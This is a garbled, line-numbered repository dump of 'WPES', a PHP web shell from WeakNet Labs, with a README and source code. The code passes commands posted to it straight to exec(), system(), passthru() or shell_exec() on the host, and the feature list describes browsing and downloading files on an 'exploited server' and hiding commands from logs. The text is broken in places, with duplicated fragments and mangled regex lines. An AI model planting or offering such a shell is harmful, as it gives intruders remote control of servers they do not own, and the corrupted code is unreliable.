ls commands and even cat for files listed. This shell comes with WEAKERTHAN Linux 6+3 |
4 | # Screenshots 5 | Here is a screenshot of the interface with a simple ls command on an exploited server. Click on the image to view it full sized. 6 |
7 | Here is a screenshot of simple file contents. Click on the image to view it full sized. 8 |
9 | And here is what the file looks like when the user clicks "Download File". Click on the image to view it full sized.
10 |
11 | A screenshot showing how to access the ARIN query that is generated using PHP. Click on the image to view it full sized.
12 |
13 | A screenshot showing how to access the Exploit-DB query that is generated using PHP. Click on the image to view it full sized.
14 |
15 | A screenshot showing off the PHP generaqted link for the Google "site:<target>" search. Click on the image to view it full sized.
16 |
17 | 18 | # Features 19 | 20 |
-
21 |
- Detailed Server information with each request in the top right-hand div 22 |
- Translation of HTML characters, to display strings exactly as they are in the file 23 |
- Traverse directories by simply clicking on the magnifying glass icons 24 |
- Show file contents by simply clicking on the cat icons 25 |
- HTTP POST method for passing commands to slightly obfuscate the attackers commands from logs 26 |
- Commands can be typed into the shell at the bottom of the application / listed above output in highlight 27 |
- Download the file without making another call to the server 28 |
- Choose method of PHP execution from the functions exec(), shell_exec(), passthru(), and system() 29 |
- (OSINT) ARIN WHOIS lookup 30 |
- Exploit-DB exploit Search 31 |
- Email for server administrator 32 |
- Google "site:<target>" link generated with PHP 33 |
-
37 |
- Mobile responsive CSS design 38 |
Add more methods of execution (PHP, exec, system, passthru, etc)
39 | Add more viewing functionality
40 | - Add local SQL (HTML5) functionality 41 |
Download functionality using PHP
42 | - Upload functionality using PHP 43 |
Built-Ins (OSINT)
44 |
This" 147 | ." program should only be used on systems that the penetration tester has permission to use or owns." 148 | ."
To begin, please type a command below. For help please refer to the GitHUB Readme.md file by clicking on the" 149 | ." link on the bottom left. Thank you for choosing WeakNet Labs!"; 150 | }else{ 151 | $cmd = $_POST['cmd']; # reassign is easier to read 152 | $displayCmd = $cmd; # to allow shell redirects in the actual command that is ran 153 | # because apparently folks hack themselves with automation tools once they insert this to a compromised server: 154 | $displayCmd = preg_replace("//dev/stdout",$results); # a command, let's execute it on the host 157 | }elseif($_POST['execType'] == "system"){ 158 | system("$cmd 2>/dev/stdout",$results); # use system() in case exec() was disabled in PHP.ini 159 | }elseif($_POST['execType'] == "passthru"){ 160 | passthru("$cmd 2>/dev/stdout",$results); # use passthru for command execution/injection 161 | }elseif($_POST['execType'] =="shell_exec"){ 162 | $results = shell_exec("$cmd 2>/dev/stdout"); # use shell_exec (similar to backtick operators, or $() in Bash) 163 | } 164 | } 165 | echo "
🐚 WPES Displaying results for command: ".
166 | " ".$displayCmd."
169 | 🔍 ".$output."
"; 189 | }else{ 190 | echo "📂 ".$output."
"; 191 | } 192 | }else{ 193 | # I could probably use something like
236 |
237 | "; 189 | }else{ 190 | echo "📂 ".$output."
"; 191 | } 192 | }else{ 193 | # I could probably use something like
tags here, but I'd rather do it this way just in case:
194 | $output = preg_replace("/&/","&",$output); # replace all ampersands, do this first so I can add them back for other chars
195 | $output = preg_replace("//",">",$output); # replace all greater than (close HTML tag brackets)
197 | $output = preg_replace("/%/","%",$output); # replace all percent (hex ascii chars)
198 | $output = preg_replace("/\?/","?",$output); # replace all question marks (open PHP tag brackets)
199 | $output = preg_replace("/\\$/","$",$output); # replace all question marks (open PHP tag brackets)
200 | $output = preg_replace("/\s/"," ",$output); # replace all whitespace, for rendering
201 | echo $output."
";
202 | }
203 | }
204 | }else{
205 | echo $output."
"; # dump message
206 | }
207 | ?>
208 |
215 |
216 |
235 |
238 | PHP Exec Function:
239 | exec()
240 | name="execType" value="exec" onClick="execType('exec')"/>
241 | system()
242 | type="radio" name="execType" value="system" />
243 | passthru()
244 | type="radio" name="execType" value="passthru" />
245 | shell_exec()
246 | type="radio" name="execType" value="shell_exec" />
247 | 252 | 253 |
247 | 252 | 253 |
254 | 🐚 WPES WeakNet Labs
255 |
256 |
257 |
258 |
259 |
273 |
274 |
275 |
276 |
--------------------------------------------------------------------------------
| 🌎 | IP | " 262 | .$_SERVER['SERVER_ADDR'].""; ?> 263 | |
| 🏠 | Hostname | ".$_SERVER['SERVER_NAME'].""; ?> 269 | |
| 💽 | Software | ".$_SERVER['SERVER_SOFTWARE'].""; ?> 270 | |
| 🕐 | Timestamp | 271 | |
| 📧 | Admin | ".$_SERVER['SERVER_ADMIN']."" ?> 272 | |